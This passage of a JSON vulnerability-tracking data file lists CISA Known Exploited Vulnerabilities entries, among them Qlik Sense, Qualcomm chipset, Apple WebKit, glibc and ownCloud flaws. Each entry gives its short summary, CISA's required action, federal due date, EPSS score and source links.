CVE-2023-49897","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-49897 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-49897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-49897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-6448","cveId":"CVE-2023-6448","aliases":[],"kind":"vulnerability","title":"Unitronics Vision PLC and HMI Insecure Default Password Vulnerability","summary":"Unitronics Vision Series PLCs and HMIs ship with an insecure default password, which if left unchanged, can allow attackers to execute remote commands.","detail":"CISA added this entry on 2023-12-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-12-11","updatedAt":null,"regions":["Global"],"vendor":"Unitronics","product":"Vision PLC and HMI","stacks":["Unitronics","Vision PLC and HMI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-11","dueAt":"2023-12-18","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02089,"percentile":0.81475,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-6448&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-6448","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-6448 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-6448&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-6448, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41265","cveId":"CVE-2023-41265","aliases":[],"kind":"vulnerability","title":"Qlik Sense HTTP Tunneling Vulnerability","summary":"Qlik Sense contains an HTTP tunneling vulnerability that allows an attacker to escalate privileges and execute HTTP requests on the backend server hosting the software.","detail":"CISA added this entry on 2023-12-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2023-12-07","updatedAt":null,"regions":["Global"],"vendor":"Qlik","product":"Sense","stacks":["Qlik","Sense"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-07","dueAt":"2023-12-28","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88215,"percentile":0.99766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41265&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41265","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41265 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41265&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41265, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41266","cveId":"CVE-2023-41266","aliases":[],"kind":"vulnerability","title":"Qlik Sense Path Traversal Vulnerability","summary":"Qlik Sense contains a path traversal vulnerability that allows a remote, unauthenticated attacker to create an anonymous session by sending maliciously crafted HTTP requests. This anonymous session could allow the attacker to send further requests to unauthorized endpoints.","detail":"CISA added this entry on 2023-12-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2023-12-07","updatedAt":null,"regions":["Global"],"vendor":"Qlik","product":"Sense","stacks":["Qlik","Sense"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-07","dueAt":"2023-12-28","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84843,"percentile":0.99708,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41266&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41266","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41266 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41266&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41266, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22071","cveId":"CVE-2022-22071","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Use-After-Free Vulnerability","summary":"Multiple Qualcomm chipsets contain a use-after-free vulnerability when process shell memory is freed using IOCTL munmap call and process initialization is in progress.","detail":"CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2023-12-05","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-05","dueAt":"2023-12-26","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00411,"percentile":0.35018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22071&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22071","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22071 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22071&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22071, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-33063","cveId":"CVE-2023-33063","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Use-After-Free Vulnerability","summary":"Multiple Qualcomm chipsets contain a use-after-free vulnerability due to memory corruption in DSP Services during a remote call from HLOS to DSP.","detail":"CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2023-12-05","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-05","dueAt":"2023-12-26","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00672,"percentile":0.51797,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-33063&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-33063","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-33063 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-33063&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-33063, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-33106","cveId":"CVE-2023-33106","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Use of Out-of-Range Pointer Offset Vulnerability","summary":"Multiple Qualcomm chipsets contain a use of out-of-range pointer offset vulnerability due to memory corruption in Graphics while submitting a large list of sync points in an AUX command to the IOCTL_KGSL_GPU_AUX_COMMAND.","detail":"CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2023-12-05","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-05","dueAt":"2023-12-26","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00788,"percentile":0.55922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-33106&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-33106","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-33106 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-33106&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-33106, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-33107","cveId":"CVE-2023-33107","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Integer Overflow Vulnerability","summary":"Multiple Qualcomm chipsets contain an integer overflow vulnerability due to memory corruption in Graphics Linux while assigning shared virtual memory region during IOCTL call.","detail":"CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2023-12-05","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-05","dueAt":"2023-12-26","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00739,"percentile":0.5428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-33107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-33107","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-33107 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-33107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-33107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-42916","cveId":"CVE-2023-42916","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability","summary":"Apple iOS, iPadOS, macOS, and Safari WebKit contain an out-of-bounds read vulnerability that may disclose sensitive information when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2023-12-04","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-04","dueAt":"2023-12-25","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.17823,"percentile":0.97147,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-42916&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-42916","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-42916 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-42916&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-42916, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-42917","cveId":"CVE-2023-42917","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, and Safari WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2023-12-04","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-12-04","dueAt":"2023-12-25","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09295,"percentile":0.95333,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-42917&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-42917","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-12-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-42917 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-42917&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-42917, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-49103","cveId":"CVE-2023-49103","aliases":[],"kind":"vulnerability","title":"ownCloud graphapi Information Disclosure Vulnerability","summary":"ownCloud graphapi contains an information disclosure vulnerability that can reveal sensitive data stored in phpinfo() via GetPhpInfo.php, including administrative credentials.","detail":"CISA added this entry on 2023-11-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-30","updatedAt":null,"regions":["Global"],"vendor":"ownCloud","product":"ownCloud graphapi","stacks":["ownCloud","ownCloud graphapi"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-30","dueAt":"2023-12-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.77755,"percentile":0.99565,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-49103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-49103","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-49103 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-49103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-49103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-6345","cveId":"CVE-2023-6345","aliases":[],"kind":"vulnerability","title":"Google Skia Integer Overflow Vulnerability","summary":"Google Chromium Skia contains an integer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a malicious file. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products.","detail":"CISA added this entry on 2023-11-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-30","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Skia","stacks":["Google Chrome","Google","Chromium Skia"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-30","dueAt":"2023-12-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.16468,"percentile":0.96963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-6345&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-6345","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-6345 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-6345&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-6345, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-4911","cveId":"CVE-2023-4911","aliases":[],"kind":"vulnerability","title":"GNU C Library Buffer Overflow Vulnerability","summary":"GNU C Library's dynamic loader ld.so contains a buffer overflow vulnerability when processing the GLIBC_TUNABLES environment variable, allowing a local attacker to execute code with elevated privileges.","detail":"CISA added this entry on 2023-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-21","updatedAt":null,"regions":["Global"],"vendor":"GNU","product":"GNU C Library","stacks":["GNU","GNU C Library"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-21","dueAt":"2023-12-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.63769,"percentile":0.99215,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-4911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-4911","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-4911 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-4911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-4911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-2551","cveId":"CVE-2020-2551","aliases":[],"kind":"vulnerability","title":"Oracle Fusion Middleware Unspecified Vulnerability","summary":"Oracle Fusion Middleware contains an unspecified vulnerability in the WLS Core Components that allows an unauthenticated attacker with network access via IIOP to compromise the WebLogic Server.","detail":"CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-16","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Fusion Middleware","stacks":["Oracle","Fusion Middleware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-16","dueAt":"2023-12-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92817,"percentile":0.99828,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-2551&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-2551","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-2551 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-2551&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-2551, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-1671","cveId":"CVE-2023-1671","aliases":[],"kind":"vulnerability","title":"Sophos Web Appliance Command Injection Vulnerability","summary":"Sophos Web Appliance contains a command injection vulnerability in the warn-proceed handler that allows for remote code execution.","detail":"CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-16","updatedAt":null,"regions":["Global"],"vendor":"Sophos","product":"Web Appliance","stacks":["Sophos","Web Appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-16","dueAt":"2023-12-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are 